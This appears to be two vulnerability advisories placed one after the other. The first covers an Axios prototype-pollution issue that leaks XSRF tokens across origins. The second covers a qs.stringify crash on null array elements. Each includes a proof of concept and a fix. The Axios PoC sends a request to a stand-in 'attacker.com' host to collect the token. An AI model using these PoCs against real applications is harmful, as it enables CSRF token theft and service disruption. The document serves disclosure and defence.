If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }

Designed behavior: - true → always send token (explicit cross-origin opt-in) - false → never send token - undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []): - All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No

Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

- XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application - Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application - Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations: - Browser-only (XSRF logic runs only in hasStandardBrowserEnv) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }

Resources

- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |

Summary

qs.stringify throws TypeError when called with arrayFormat: 'comma' and encodeValuesOnly: true on an array containing null or undefined. The throw is synchronous and not handled by any of qs's null-related options (skipNulls, strictNullHandling).

Details

In the comma + encodeValuesOnly branch, lib/stringify.js:145 mapped the array through the raw encoder before joining:

js

obj = utils.maybeMap(obj, encoder);

utils.encode (lib/utils.js:195) reads str.length with no null guard, so a null or undefined element throws TypeError. skipNulls and strictNullHandling are both checked in the per-element loop below this line and never get a chance to run.

Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + encodeValuesOnly branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1.

PoC

js

const qs = require('qs');

qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });

qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });

qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });

// TypeError: Cannot read properties of null (reading 'length')

// at encode (lib/utils.js:195:13)

// at Object.maybeMap (lib/utils.js:322:37)

// at stringify (lib/stringify.js:145:25)

Fix

lib/stringify.js:145, applied in 21f80b3 on main and released as v6.15.2:

diff

- obj = utils.maybeMap(obj, encoder);

+ obj = utils.maybeMap(obj, function (v) {

+ return v == null ? v : encoder(v);

+ });

null and undefined now pass through maybeMap unchanged and reach the join(',') step as-is. For { a: [null, 'b'] } this produces a=,b, matching the non-encodeValuesOnly comma path (which already joins before encoding and produces a=%2Cb for the same input). Single-element [null] arrays still collapse via the existing obj.join(',') || null and remain subject to skipNulls / strictNullHandling in the main loop.

Affected versions

=6.11.1 6.15.2 — fixed in v6.15.2.

The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + encodeValuesOnly path differently (joining before encoding) and are not affected. Empirically verified across released versions.

Impact

Application code that calls qs.stringify with both arrayFormat: 'comma' and encodeValuesOnly: true (both non-default) on input that may contain a null or undefined array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.

The vulnerable input is a null or undefined entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal null).